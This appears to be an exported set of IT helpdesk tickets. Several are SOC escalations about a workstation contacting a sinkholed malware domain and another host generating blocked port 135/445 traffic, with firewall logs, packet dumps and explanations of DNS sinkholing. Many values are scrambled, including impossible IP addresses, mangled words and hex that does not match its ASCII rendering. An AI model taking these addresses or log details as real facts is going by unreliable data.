device name: isensor03.company.com\_x000D\_
event extra data:\_x000D\_
sherlockruleid = 699417\_x000D\_
cvss = -1\_x000D\_
ctainstanceid = 0\_x000D\_
irreceivedtime = 1470308771682\_x000D\_
httpstatuscode = 302\_x000D\_
inspectoreventid = 028504841\_x000D\_
eventtypepriority = 4\_x000D\_
dstassetofinterest = 416\_x000D\_
globalproxycorrelationurl = null\_x000D\_
foreseeinternalip = 61.01.52.02617\_x000D\_
logtimestamp = 2582520598\_x000D\_
foreseeconndirection = incoming\_x000D\_
foreseeexternalip = 195.38.137.100\_x000D\_
inlineaction = 2\_x000D\_
ontologyid = 200020003203753900\_x000D\_
foreseesrcipgeo = franhtyufurt am main,deu\_x000D\_
eventtypeid = 200020003203560456\_x000D\_
dsthostname = lpawx210968sf\_x000D\_
vendoreventid = 271147\_x000D\_
vendorpriority = 2\_x000D\_
tcpflags = \*\*\*ap\*\*\*\_x000D\_
proto = tcp\_x000D\_
dstport = 3720\_x000D\_
action = not blocked\_x000D\_
ileatdatacenter = true\_x000D\_
foreseemaliciouscomment = null or empty model found;evaluationmodels->ngm:0.1987:0.004;\_x000D\_
httpcontenttype = text/html\_x000D\_
vendorversion = 7\_x000D\_
refererproxycorrelationurl = null\_x000D\_
agentid = 102805\_x000D\_
srcport = 80\_x000D\_
\_x000D\_
\_x000D\_
occurrence count: 7\_x000D\_
event count: 1\_x000D\_
\_x000D\_
event detail:\_x000D\_
[\*\*] [1:21162804:2] 51793 vid36000 server response with anubis sinkhole cookies set - probable infected asset [\*\*]\_x000D\_
[classification: none] [priority: 2] [action: accept\_passive] [impact\_flag: 0] [impact: 0] [blocked: 2] [vlan: 0] [mpls label: 0] [pad2: 1]\_x000D\_
[sensor id: 602982][event id: 271147][time: 2582520598.52167]\_x000D\_
[src ip: 195.38.137.100][dst ip: 61.01.52.02617][sport/itype: 80][dport/icode: 3720][proto: 6]\_x000D\_
08/04/2016-10:59:36.052167 195.38.137.100:80 -> 61.01.52.02617:3720\_x000D\_
tcp ttl:45 tos:0x0 id:52866 iplen:20 dgmlen:386 df\_x000D\_
\*\*\*ap\*\*\* seq: 0xf1729be0 ack: 0xcc94106 win: 0x687f tcplen: 20\_x000D\_
==pcap 1==\_x000D\_
\_x000D\_
\_x000D\_
[ex http\_uri 9: /]\_x000D\_
\_x000D\_
[ex http\_hostname 10: futureinterest.org]\_x000D\_
\_x000D\_
[o:security]\_x000D\_
\_x000D\_
ascii packet(s):\_x000D\_
==pcap 1 ascii s==\_x000D\_
.......w............e.....@.-..c.&.d.,j..p...r....a.p.h.....http/1.1.302.moved.temporarily..server:.nginx..date:.thu,.04.aug.2016.10:59:36.gmt..content-type:.text/html..transfer-encoding:.chunked..connection:.close..location:.|12.161.199.50|2582520598|2582520598|0|1|0..set-cookie:.snkz=12.161.199.50....0....\_x000D\_
==pcap 1 ascii e==\_x000D\_
\_x000D\_
hex packet(s):\_x000D\_
==pcap 1 hex s==\_x000D\_
000000 0c00 0000 1820 a357 c7cb 0000 8201 0000 .......w........\_x000D\_
000010 8201 0000 4500 0182 ce82 4000 2d06 dc63 ....e.....@.-..c\_x000D\_
000020 c326 8964 0a2c 4ad9 0050 0e88 f172 9be0 .&.d.,j..p...r..\_x000D\_
000030 0cc9 4106 5018 687f e100 0000 4854 5450 ..a.p.h.....http\_x000D\_
000040 2f31 2e31 2033 3032 204d 6f76 6564 2054 /1.1.302.moved.t\_x000D\_
000050 656d 706f 7261 7269 6c79 0d0a 5365 7276 emporarily..serv\_x000D\_
000060 6572 3a20 6e67 696e 780d 0a44 6174 653a er:.nginx..date:\_x000D\_
000070 2054 6875 2c20 3034 2041 7567 2032 3031 .thu,.04.aug.201\_x000D\_
000080 3620 3130 3a35 393a 3336 2047 4d54 0d0a 6.10:59:36.gmt..\_x000D\_
000090 436f 6e74 656e 742d 5479 7065 3a20 7465 content-type:.te\_x000D\_
0000a0 7874 2f68 746d 6c0d 0a54 7261 6e73 6665 xt/html..transfe\_x000D\_
0000b0 722d 456e 636f 6469 6e67 3a20 6368 756e r-encoding:.chun\_x000D\_
0000c0 6b65 640d 0a43 6f6e 6e65 6374 696f 6e3a ked..connection:\_x000D\_
0000d0 2063 6c6f 7365 0d0a 4c6f 6361 7469 6f6e .close..location\_x000D\_
0000e0 3a20 6874 7470 3a2f 2f73 736f 2e61 6e62 :.\_x000D\_
0000f0 7472 2e63 6f6d 2f64 6f6d 6169 6e2f 6675 tr.com/domain/fu\_x000D\_
000100 7475 7265 696e 7465 7265 7374 2e6f 7267 tureinterest.org\_x000D\_
000110 0d0a 5365 742d 436f 6f6b 6965 3a20 6274 ..set-cookie:.bt\_x000D\_
000120 7374 3d66 6561 3834 3465 3066 3735 3966 st=fea844e0f759f\_x000D\_
000130 6430 3931 3065 3566 3865 3463 6266 3665 d0910e5f8e4cbf6e\_x000D\_
000140 6430 397c 3132 2e31 3631 2e31 3939 2e35 d09|12.161.199.5\_x000D\_
000150 307c 3134 3730 3330 3833 3736 7c31 3437 0|2582520598|147\_x000D\_
000160 3033 3038 3337 367c 307c 317c 300d 0a53 1419487|0|1|0..s\_x000D\_
000170 6574 2d43 6f6f 6b69 653a 2073 6e6b 7a3d et-cookie:.snkz=\_x000D\_
000180 3132 2e31 3631 2e31 3939 2e35 300d 0a0d 12.161.199.50...\_x000D\_
000190 0a30 0d0a 0d0a .0....\_x000D\_
==pcap 1 hex e==, is assigned to Assignment group: GRP\_2.Ticket with Short description: HostName\_1015: average (4 samples) disk free on c:\ is now 15%, which is below the warning threshold (15%)., Description: HostName\_1015: average (4 samples) disk free on c:\ is now 15%, which is below the warning threshold (15%). out of total size 100.5 gb, is assigned to Assignment group: GRP\_12.Ticket with Short description: as per inc1530161::security incidents - ( in33490582 ) : suspicious ms-rpc/ms-ds/netbios activity - HostName\_17-new, Description: \_x000D\_
from: gzhapcld fdigznbk \_x000D\_
sent: wednesday, august 10, 2016 12:28 am\_x000D\_
to: bev loughner; ghiklyop nikszpeu; thoyhts brthyrtiv; tiyhum kuyiomar\_x000D\_
cc: gdhyrts muggftyali ; qfrntose ivnhumzjalakrisyuhnyrtn; nyrjkctu tbhkenlo; ugyothfz ugrmkdhx; kathght shfhyw; suhtnhdyio psfshytd; bhayhtrathramdnty mamilujli\_x000D\_
subject: inc1530161::security incidents - ( in33490582 ) : suspicious ms-rpc/ms-ds/netbios activity - HostName\_17-new\_x000D\_
\_x000D\_
hello amerirtcas pc support,\_x000D\_
\_x000D\_
we have detected at least 226 occurrences of your firewall att-singapore-asa.company.com-1/54.96.80.216 dropping traffic sourcing from HostName\_17-new/29.26.13.3095 and destined to port 135 of one or more destination devices. this activity may indicate one of the following:\_x000D\_
1. an infection on this host\_x000D\_
2. a misconfigured firewall\_x000D\_
3. a misconfigured host\_x000D\_
4. port scan (authorized or unauthorized)\_x000D\_
\_x000D\_
we have created a ticketing\_tool ticket and assigned it to amerirtcas pc services. inc1530161\_x000D\_
=========================\_x000D\_
technical details\_x000D\_
=========================\_x000D\_
historically, there have been various worms/malware that have used ports 135, 137, 138, 139, and 445 to propagate. examples include:\_x000D\_
-w32.blaster.worm/msblast/lovsan \_x000D\_
-w32.welchia/nachi\_x000D\_
-w32.reatle\_x000D\_
\_x000D\_
port 135 - microsoft epmap (end point mapper), also known as dce/rpc locator service\_x000D\_
\_x000D\_
port 137 - netbios netbios name service\_x000D\_
\_x000D\_
port 138 - netbios netbios datagramdnty service\_x000D\_
\_x000D\_
port 139 - netbios netbios session service\_x000D\_
\_x000D\_
port 445 - microsoft-ds smb file sharing\_x000D\_
\_x000D\_
=========================\_x000D\_
event data\_x000D\_
=========================\_x000D\_
related events: \_x000D\_
\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_x000D\_
event id: 80975479\_x000D\_
event summary: internal outbreak for 135/tcp\_x000D\_
log time: 2016-08-03 at 17:48:46\_x000D\_
source ip: 29.26.13.3095\_x000D\_
source hostname: HostName\_17-new\_x000D\_
destination hostname: lmxl9516628\_x000D\_
device ip: 54.96.80.216\_x000D\_
device name: att-singapore-asa.company.com-1\_x000D\_
event extra data:\_x000D\_
inspectorruleid = 186739\_x000D\_
sherlockruleid = 537074\_x000D\_
cvss = -1\_x000D\_
ontologyid = 200020003203009162\_x000D\_
srchostname = HostName\_17-new\_x000D\_
eventtypeid = 200020003203009062\_x000D\_
dsthostname = lmxl9516628\_x000D\_
ctainstanceid = 0\_x000D\_
irreceivedtime = 1470247430401\_x000D\_
inspectoreventid = 874753956\_x000D\_
proto = tcp\_x000D\_
eventtypepriority = 1\_x000D\_
dstport = 135\_x000D\_
action = blocked\_x000D\_
ileatdatacenter = true\_x000D\_
foreseemaliciouscomment = null or empty model found;evaluationmodels->ngm:0.8019:0.0022;\_x000D\_
foreseeinternalip = 29.26.13.3095\_x000D\_
logtimestamp = 2581357637\_x000D\_
agentid = 103955\_x000D\_
foreseeconndirection = internal\_x000D\_
srcassetofinterest = 264\_x000D\_
srcport = 56840\_x000D\_
\_x000D\_
\_x000D\_
occurrence count: 226\_x000D\_
event count: 2\_x000D\_
\_x000D\_
event detail:\_x000D\_
aug 3 17:48:46 54.96.80.216 %asa-4-106023: deny tcp src inside:29.26.13.3095/56840 dst outside:192.168.0.5/135 by access-group "acl\_inside" [0x0, 0x0]\_x000D\_
aug 3 17:48:54 54.96.80.216 %asa-4-106023: deny tcp src inside:29.26.13.3095/56870 dst outside:192.168.254.16/135 by access-group "acl\_inside" [0x0, 0x0]\_x000D\_
aug 3 17:48:58 54.96.80.216 %asa-4-106023: deny tcp src inside:29.26.13.3095/56885 dst outside:192.168.86.169/135 by access-group "acl\_inside" [0x0, 0x0]\_x000D\_
aug 3 17:49:00 54.96.80.216 %asa-4-106023: deny tcp src inside:29.26.13.3095/56899 dst outside:192.168.1.70/135 by access-group "acl\_inside" [0x0, 0x0]\_x000D\_
aug 3 17:49:03 54.96.80.216 %asa-4-106023: deny tcp src inside:29.26.13.3095/56924 dst outside:192.168.6.154/135 by access-group "acl\_inside" [0x0, 0x0]\_x000D\_
aug 3 17:49:09 54.96.80.216 %asa-4-106023: deny tcp src inside:29.26.13.3095/56952 dst outside:192.168.54.65/135 by access-group "acl\_inside" [0x0, 0x0]\_x000D\_
aug 3 17:49:18 54.96.80.216 %asa-4-106023: deny tcp src inside:29.26.13.3095/56970 dst outside:192.168.68.106/135 by access-group "acl\_inside" [0x0, 0x0]\_x000D\_
aug 3 17:49:21 54.96.80.216 %asa-4-106023: deny tcp src inside:29.26.13.3095/56980 dst outside:192.168.43.240/135 by access-group "acl\_inside" [0x0, 0x0]\_x000D\_
aug 3 17:49:29 54.96.80.216 %asa-4-106023: deny tcp src inside:29.26.13.3095/57000 dst outside:192.168.254.28/135 by access-group "acl\_inside" [0x0, 0x0]\_x000D\_
aug 3 17:49:31 54.96.80.216 %asa-4-106023: deny tcp src inside:29.26.13.3095/57017 dst outside:192.168.1.37/135 by access-group "acl\_inside" [0x0, 0x0]\_x000D\_
aug 3 17:49:32 54.96.80.216 %asa-4-106023: deny tcp src inside:29.26.13.3095/57019 dst outside:192.168.0.11/135 by access-group "acl\_inside" [0x0, 0x0]\_x000D\_
aug 3 17:49:34 54.96.80.216 %asa-4-106023: deny tcp src inside:29.26.13.3095/57033 dst outside:192.168.1.105/135 by access-group "acl\_inside" [0x0, 0x0]\_x000D\_
aug 3 17:49:34 54.96.80.216 %asa-4-106023: deny tcp src inside:29.26.13.3095/57035 dst outside:192.168.0.20/135 by access-group "acl\_inside" [0x0, 0x0]\_x000D\_
aug 3 17:49:51 54.96.80.216 %asa-4-106023: deny tcp src inside:29.26.13.3095/57061 dst outside:192.168.1.11/135 by access-group "acl\_inside" [0x0, 0x0]\_x000D\_
aug 3 17:49:54 54.96.80.216 %asa-4-106023: deny tcp src inside:29.26.13.3095/57075 dst outside:192.168.1.71/135 by access-group "acl\_inside" [0x0, 0x0]\_x000D\_
aug 3 17:49:59 54.96.80.216 %asa-4-106023: deny tcp src inside:29.26.13.3095/57118 dst outside:192.168.1.139/135 by access-group "acl\_inside" [0x0, 0x0]\_x000D\_
\_x000D\_
\_x000D\_
, is assigned to Assignment group: GRP\_2.Ticket with Short description: client is unable to view 2 screens when tablet is docked, Description: client is unable to view 2 screens when tablet is docked, is assigned to Assignment group: GRP\_3.Ticket with Short description: clients pc is making buzzing noise and wont turn on, Description: clients pc is making buzzing noise and wont turn on, is assigned to Assignment group: GRP\_3.Ticket with Short description: activation not valid for microsoft projects, Description: activation not valid for microsoft projects, is assigned to Assignment group: GRP\_3.Ticket with Short description: security incidents - ( dsw #in33407676 ) : traffic from sinkhole domain to ( lpawx210968sf / 61.01.52.02617 ), Description: source ip : 61.01.52.02617\_x000D\_
system name : lpawx210968sf\_x000D\_
user name: n/a\_x000D\_
location : indaituba\_x000D\_
sep , sms status : n/a\_x000D\_
field sales user ( yes / no) : no\_x000D\_
dsw event log: see below\_x000D\_
\_x000D\_
\*\*\_x000D\_
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=========================\_x000D\_
incident overview\_x000D\_
=========================\_x000D\_
we are seeing your 10.32.100.17/isensor03.company.com device generating '51793 vid36000 server response with anubis sinkhole cookies set - probable infected asset' alerts for traffic (not blocked) from port 80/tcp of 195.38.137.100 to port 3720/tcp of your lpawx210968sf/61.01.52.02617 device indicating that the host is most likely infected with malware. \_x000D\_
\_x000D\_
this return traffic indicates that lpawx210968sf/61.01.52.02617 has most likely attempted to visit a domain name which is being sinkholed. dns sinkholes are dns servers that give out false information in order to prevent the use of the domain for which ip address resolution has been requested. sinkhole traffic is a possible indicator of an infected computer that is reaching out to a controller that has been taken over by a law enforcement or research organization as part of a malware mitigation effort. traffic to a sinkhole should be examined for characteristics of automated activity. in some cases, an administrator may be curious about a particular domain and browse to it, triggering the signature. repeated automated requests to a sinkhole, however, are a clear indication of a malware infection.\_x000D\_
\_x000D\_
we are escalating this incident to you via a high priority ticket per our default escalation policies. if you would like us to handle these incidents differently in the future (see below for handling options), or if you have any further questions or concerns, please let us know either by corresponding to us via this ticket and delegating the ticket back to the soc, or by calling us at . \_x000D\_
1) ticket only escalation for sinkhole domain alerts (explicit notification via a medium priority ticket (no phone call))\_x000D\_
2) auto-resolve sinkhole domain alerts directly to the portal (no explicit notification but events will be available for reporting purposes in the portal)\_x000D\_
\_x000D\_
sincerely,\_x000D\_
secureworks soc\_x000D\_
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=========================\_x000D\_
technical details\_x000D\_
=========================\_x000D\_
the domain name system (dns) is a hierarchical naming system for any resource connected to the internet or a private network which has the primary purpose of associating various information with domain names assigned to each of the participating entities. it is primarily used for translating domain names to the numerirtcal ip addresses for the purpose of locating service and devices on a network. \_x000D\_
\_x000D\_
the domain name system distributes the responsibility of assigning domain names and mapping those names to ip addresses by designating authoritative name servers for each domain. authoritative name servers are assigned to be responsible for their supported domains, and may delegate authority over subdomains to other name servers. the domain name system also specifies the technical functionality of this database service. it defines the dns protocol, a detailed specification of the data structures and data communication exchanges used in dns, as part of the internet protocol suite.\_x000D\_
\_x000D\_
dns sinkholes are dns servers that give out incorrect information in order to prevent the use of the domain name for which ip address resolution is being attempted. when a client requests to resolve the address of a sinkholed hole or domain, the sinkhole returns a non-routable address or any address except for the real address. this germanytially denies the client a connection to the target host. using this method, compromised clients can easily be found using sinkhole logs. another method of detecting compromised hosts is during operations in which servers being used for c2 (command and control) purposes are taken over by law enforcement as part of a malware mitigation effort. traffic to a sinkhole should be examined for characteristics of automated activity. in some cases, an administrator may be curious about a particular domain and browse to it, triggering the signature. repeated automated requests to a sinkhole are a clear indication of infection by a trojan of some sort.\_x000D\_
\_x000D\_
connections to sinkholes may seem somewhat benign, but the ramdntyifications certainly include information leakage to some extent. although sinkhole operators are unlikely to use any personally identifiable information they may capture from a trojan's communication, it may become public knowledge that "company x is infected with y", which may lead to reputational damage.\_x000D\_
\_x000D\_
additionally, some sinkholes are feeding ip addresses of victims to beshryulists, which may impede access to certain services, like sending email. finally, some trojans may connect to multiple controller domains/hostnames, and even though some of them may be sinkholed, there may be others that are not, leading to the possibility of remote code execution or information leakage to malicious parties in some cases. \_x000D\_
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references\_x000D\_
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event data\_x000D\_
=========================\_x000D\_
related events: \_x000D\_
\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_x000D\_
event id: 303133902\_x000D\_
event summary: 51793 vid36000 server response with anubis sinkhole cookies set - probable infected asset\_x000D\_
log time: 2016-08-04 at 10:59:36\_x000D\_
source ip: 195.38.137.100\_x000D\_
destination ip: 61.01.52.02617\_x000D\_
destination hostname: lpawx210968sf\_x000D\_
device ip: 10.32.100.17\_x000D\_
device name: isensor03.company.com\_x000D\_
event extra data:\_x000D\_
sherlockruleid = 699417\_x000D\_
cvss = -1\_x000D\_
ctainstanceid = 0\_x000D\_
irreceivedtime = 1470308771682\_x000D\_
httpstatuscode = 302\_x000D\_
inspectoreventid = 028504841\_x000D\_
eventtypepriority = 4\_x000D\_
dstassetofinterest = 416\_x000D\_
globalproxycorrelationurl = null\_x000D\_
foreseeinternalip = 61.01.52.02617\_x000D\_
logtimestamp = 2582520598\_x000D\_
foreseeconndirection = incoming\_x000D\_
foreseeexternalip = 195.38.137.100\_x000D\_
inlineaction = 2\_x000D\_
ontologyid = 200020003203753900\_x000D\_
foreseesrcipgeo = franhtyufurt am main,deu\_x000D\_
eventtypeid = 200020003203560456\_x000D\_
dsthostname = lpawx210968sf\_x000D\_
vendoreventid = 271147\_x000D\_
vendorpriority = 2\_x000D\_
tcpflags = \*\*\*ap\*\*\*\_x000D\_
proto = tcp\_x000D\_
dstport = 3720\_x000D\_
action = not blocked\_x000D\_
ileatdatacenter = true\_x000D\_
foreseemaliciouscomment = null or empty model found;evaluationmodels->ngm:0.1987:0.004;\_x000D\_
httpcontenttype = text/html\_x000D\_
vendorversion = 7\_x000D\_
refererproxycorrelationurl = null\_x000D\_
agentid = 102805\_x000D\_
srcport = 80\_x000D\_
\_x000D\_
\_x000D\_
occurrence count: 7\_x000D\_
event count: 1\_x000D\_
\_x000D\_
event detail:\_x000D\_
[\*\*] [1:21162804:2] 51793 vid36000 server response with anubis sinkhole cookies set - probable infected asset [\*\*]\_x000D\_
[classification: none] [priority: 2] [action: accept\_passive] [impact\_flag: 0] [impact: 0] [blocked: 2] [vlan: 0] [mpls label: 0] [pad2: 1]\_x000D\_
[sensor id: 602982][event id: 271147][time: 2582520598.52167]\_x000D\_
[src ip: 195.38.137.100][dst ip: 61.01.52.02617][sport/itype: 80][dport/icode: 3720][proto: 6]\_x000D\_
08/04/2016-10:59:36.052167 195.38.137.100:80 -> 61.01.52.02617:3720\_x000D\_
tcp ttl:45 tos:0x0 id:52866 iplen:20 dgmlen:386 df\_x000D\_
\*\*\*ap\*\*\* seq: 0xf1729be0 ack: 0xcc94106 win: 0x687f tcplen: 20\_x000D\_
==pcap 1==\_x000D\_
\_x000D\_
\_x000D\_
[ex http\_uri 9: /]\_x000D\_
\_x000D\_
[ex http\_hostname 10: futureinterest.org]\_x000D\_
\_x000D\_
[o:security]\_x000D\_
\_x000D\_
ascii packet(s):\_x000D\_
==pcap 1 ascii s==\_x000D\_
.......w............e.....@.-..c.&.d.,j..p...r....a.p.h.....http/1.1.302.moved.temporarily..server:.nginx..date:.thu,.04.aug.2016.10:59:36.gmt..content-type:.text/html..transfer-encoding:.chunked..connection:.close..location:.|12.161.199.50|2582520598|2582520598|0|1|0..set-cookie:.snkz=12.161.199.50....0....\_x000D\_
==pcap 1 ascii e==\_x000D\_
\_x000D\_
hex packet(s):\_x000D\_
==pcap 1 hex s==\_x000D\_
000000 0c00 0000 1820 a357 c7cb 0000 8201 0000 .......w........\_x000D\_
000010 8201 0000 4500 0182 ce82 4000 2d06 dc63 ....e.....@.-..c\_x000D\_
000020 c326 8964 0a2c 4ad9 0050 0e88 f172 9be0 .&.d.,j..p...r..\_x000D\_
000030 0cc9 4106 5018 687f e100 0000 4854 5450 ..a.p.h.....http\_x000D\_
000040 2f31 2e31 2033 3032 204d 6f76 6564 2054 /1.1.302.moved.t\_x000D\_
000050 656d 706f 7261 7269 6c79 0d0a 5365 7276 emporarily..serv\_x000D\_
000060 6572 3a20 6e67 696e 780d 0a44 6174 653a er:.nginx..date:\_x000D\_
000070 2054 6875 2c20 3034 2041 7567 2032 3031 .thu,.04.aug.201\_x000D\_
000080 3620 3130 3a35 393a 3336 2047 4d54 0d0a 6.10:59:36.gmt..\_x000D\_
000090 436f 6e74 656e 742d 5479 7065 3a20 7465 content-type:.te\_x000D\_
0000a0 7874 2f68 746d 6c0d 0a54 7261 6e73 6665 xt/html..transfe\_x000D\_
0000b0 722d 456e 636f 6469 6e67 3a20 6368 756e r-encoding:.chun\_x000D\_
0000c0 6b65 640d 0a43 6f6e 6e65 6374 696f 6e3a ked..connection:\_x000D\_
0000d0 2063 6c6f 7365 0d0a 4c6f 6361 7469 6f6e .close..location\_x000D\_
0000e0 3a20 6874 7470 3a2f 2f73 736f 2e61 6e62 :.\_x000D\_
0000f0 7472 2e63 6f6d 2f64 6f6d 6169 6e2f 6675 tr.com/domain/fu\_x000D\_
000100 7475 7265 696e 7465 7265 7374 2e6f 7267 tureinterest.org\_x000D\_
000110 0d0a 5365 742d 436f 6f6b 6965 3a20 6274 ..set-cookie:.bt\_x000D\_
000120 7374 3d66 6561 3834 3465 3066 3735 3966 st=fea844e0f759f\_x000D\_
000130 6430 3931 3065 3566 3865 3463 6266 3665 d0910e5f8e4cbf6e\_x000D\_
000140 6430 397c 3132 2e31 3631 2e31 3939 2e35 d09|12.161.199.5\_x000D\_
000150 307c 3134 3730 3330 3833 3736 7c31 3437 0|2582520598|147\_x000D\_
000160 3033 3038 3337 367c 307c 317c 300d 0a53 1419487|0|1|0..s\_x000D\_
000170 6574 2d43 6f6f 6b69 653a 2073 6e6b 7a3d et-cookie:.snkz=\_x000D\_
000180 3132 2e31 3631 2e31 3939 2e35 300d 0a0d 12.161.199.50...\_x000D\_
000190 0a30 0d0a 0d0a .0....\_x000D\_
==pcap 1 hex e==, is assigned to Assignment group: GRP\_62.Ticket with Short description: security incidents - ( in33490582 ) : suspicious ms-rpc/ms-ds/netbios activity - HostName\_17-new, Description: source ip : 29.26.13.3095\_x000D\_
system name :HostName\_17-new\_x000D\_
destination hostname: lmxl9516628\_x000D\_
device ip: 54.96.80.216\_x000D\_
username: ztnfhiwq njpwxmdi ibaÃ±ez\_x000D\_
location : mexico\_x000D\_
sep , sms status :no updates\_x000D\_
field sales user ( yes / no) : no \_x000D\_
dsw event log:see below\_x000D\_
--------------------------------------------------------------------\_x000D\_
=========================\_x000D\_
event data\_x000D\_
=========================\_x000D\_
related events: \_x000D\_
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event id: 80975479\_x000D\_
event summary: internal outbreak for 135/tcp\_x000D\_
log time: 2016-08-03 at 17:48:46\_x000D\_
source ip: 29.26.13.3095\_x000D\_
source hostname: HostName\_17-new\_x000D\_
destination hostname: lmxl9516628\_x000D\_
device ip: 54.96.80.216\_x000D\_
device name: att-singapore-asa.company.com-1\_x000D\_
event extra data:\_x000D\_
inspectorruleid = 186739\_x000D\_
sherlockruleid = 537074\_x000D\_
cvss = -1\_x000D\_
ontologyid = 200020003203009162\_x000D\_
srchostname = HostName\_17-new\_x000D\_
eventtypeid = 200020003203009062\_x000D\_
dsthostname = lmxl9516628\_x000D\_
ctainstanceid = 0\_x000D\_
irreceivedtime = 1470247430401\_x000D\_
inspectoreventid = 874753956\_x000D\_
proto = tcp\_x000D\_
eventtypepriority = 1\_x000D\_
dstport = 135\_x000D\_
action = blocked\_x000D\_
ileatdatacenter = true\_x000D\_
foreseemaliciouscomment = null or empty model found;evaluationmodels->ngm:0.8019:0.0022;\_x000D\_
foreseeinternalip = 29.26.13.3095\_x000D\_
logtimestamp = 2581357637\_x000D\_
agentid = 103955\_x000D\_
foreseeconndirection = internal\_x000D\_
srcassetofinterest = 264\_x000D\_
srcport = 56840\_x000D\_
\_x000D\_
\_x000D\_
occurrence count: 226\_x000D\_
event count: 2\_x000D\_
\_x000D\_
event detail:\_x000D\_
aug 3 17:48:46 54.96.80.216 %asa-4-106023: deny tcp src inside:29.26.13.3095/56840 dst outside:192.168.0.5/135 by access-group "acl\_inside" [0x0, 0x0]\_x000D\_
aug 3 17:48:54 54.96.80.216 %asa-4-106023: deny tcp src inside:29.26.13.3095/56870 dst outside:192.168.254.16/135 by access-group "acl\_inside" [0x0, 0x0]\_x000D\_
aug 3 17:48:58 54.96.80.216 %asa-4-106023: deny tcp src inside:29.26.13.3095/56885 dst outside:192.168.86.169/135 by access-group "acl\_inside" [0x0, 0x0]\_x000D\_
aug 3 17:49:00 54.96.80.216 %asa-4-106023: deny tcp src inside:29.26.13.3095/56899 dst outside:192.168.1.70/135 by access-group "acl\_inside" [0x0, 0x0]\_x000D\_
aug 3 17:49:03 54.96.80.216 %asa-4-106023: deny tcp src inside:29.26.13.3095/56924 dst outside:192.168.6.154/135 by access-group "acl\_inside" [0x0, 0x0]\_x000D\_
aug 3 17:49:09 54.96.80.216 %asa-4-106023: deny tcp src inside:29.26.13.3095/56952 dst outside:192.168.54.65/135 by access-group "acl\_inside" [0x0, 0x0]\_x000D\_
aug 3 17:49:18 54.96.80.216 %asa-4-106023: deny tcp src inside:29.26.13.3095/56970 dst outside:192.168.68.106/135 by access-group "acl\_inside" [0x0, 0x0]\_x000D\_
aug 3 17:49:21 54.96.80.216 %asa-4-106023: deny tcp src inside:29.26.13.3095/56980 dst outside:192.168.43.240/135 by access-group "acl\_inside" [0x0, 0x0]\_x000D\_
aug 3 17:49:29 54.96.80.216 %asa-4-106023: deny tcp src inside:29.26.13.3095/57000 dst outside:192.168.254.28/135 by access-group "acl\_inside" [0x0, 0x0]\_x000D\_
aug 3 17:49:31 54.96.80.216 %asa-4-106023: deny tcp src inside:29.26.13.3095/57017 dst outside:192.168.1.37/135 by access-group "acl\_inside" [0x0, 0x0]\_x000D\_
aug 3 17:49:32 54.96.80.216 %asa-4-106023: deny tcp src inside:29.26.13.3095/57019 dst outside:192.168.0.11/135 by access-group "acl\_inside" [0x0, 0x0]\_x000D\_
aug 3 17:49:34 54.96.80.216 %asa-4-106023: deny tcp src inside:29.26.13.3095/57033 dst outside:192.168.1.105/135 by access-group "acl\_inside" [0x0, 0x0]\_x000D\_
aug 3 17:49:34 54.96.80.216 %asa-4-106023: deny tcp src inside:29.26.13.3095/57035 dst outside:192.168.0.20/135 by access-group "acl\_inside" [0x0, 0x0]\_x000D\_
aug 3 17:49:51 54.96.80.216 %asa-4-106023: deny tcp src inside:29.26.13.3095/57061 dst outside:192.168.1.11/135 by access-group "acl\_inside" [0x0, 0x0]\_x000D\_
aug 3 17:49:54 54.96.80.216 %asa-4-106023: deny tcp src inside:29.26.13.3095/57075 dst outside:192.168.1.71/135 by access-group "acl\_inside" [0x0, 0x0]\_x000D\_
aug 3 17:49:59 54.96.80.216 %asa-4-106023: deny tcp src inside:29.26.13.3095/57118 dst outside:192.168.1.139/135 by access-group "acl\_inside" [0x0, 0x0]\_x000D\_
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event id: 80975470\_x000D\_
event summary: internal outbreak for 445/tcp\_x000D\_
log time: 2016-08-03 at 17:48:46\_x000D\_
source ip: 29.26.13.3095\_x000D\_
source hostname: HostName\_17-new\_x000D\_
destination hostname: lmxl9516628\_x000D\_
device ip: 54.96.80.216\_x000D\_
device name: att-singapore-asa.company.com-1\_x000D\_
event extra data:\_x000D\_
inspectorruleid = 186739\_x000D\_
sherlockruleid = 537074\_x000D\_
cvss = -1\_x000D\_
ontologyid = 200020003203009162\_x000D\_
srchostname = HostName\_17-new\_x000D\_
eventtypeid = 200020003203009062\_x000D\_
dsthostname = lmxl9516628\_x000D\_
ctainstanceid = 0\_x000D\_
irreceivedtime = 1470247430401\_x000D\_
inspectoreventid = 874753956\_x000D\_
proto = tcp\_x000D\_
eventtypepriority = 1\_x000D\_
dstport = 135\_x000D\_
action = blocked\_x000D\_
ileatdatacenter = true\_x000D\_
foreseemaliciouscomment = null or empty model found;evaluationmodels->ngm:0.8019:0.0022;\_x000D\_
foreseeinternalip = 29.26.13.3095\_x000D\_
logtimestamp = 2581357637\_x000D\_
agentid = 103955\_x000D\_
foreseeconndirection = internal\_x000D\_
srcassetofinterest = 264\_x000D\_
srcport = 56840\_x000D\_
\_x000D\_
\_x000D\_
occurrence count: 226\_x000D\_
event count: 2\_x000D\_
\_x000D\_
event detail:\_x000D\_
aug 3 17:48:47 54.96.80.216 %asa-4-106023: deny tcp src inside:29.26.13.3095/56843 dst outside:192.168.0.5/445 by access-group "acl\_inside" [0x0, 0x0]\_x000D\_
aug 3 17:48:56 54.96.80.216 %asa-4-106023: deny tcp src inside:29.26.13.3095/56874 dst outside:192.168.254.16/445 by access-group "acl\_inside" [0x0, 0x0]\_x000D\_
aug 3 17:48:59 54.96.80.216 %asa-4-106023: deny tcp src inside:29.26.13.3095/56892 dst outside:192.168.86.169/445 by access-group "acl\_inside" [0x0, 0x0]\_x000D\_
aug 3 17:49:02 54.96.80.216 %asa-4-106023: deny tcp src inside:29.26.13.3095/56913 dst outside:192.168.1.70/445 by access-group "acl\_inside" [0x0, 0x0]\_x000D\_
aug 3 17:49:05 54.96.80.216 %asa-4-106023: deny tcp src inside:29.26.13.3095/56930 dst outside:192.168.6.154/445 by access-group "acl\_inside" [0x0, 0x0]\_x000D\_
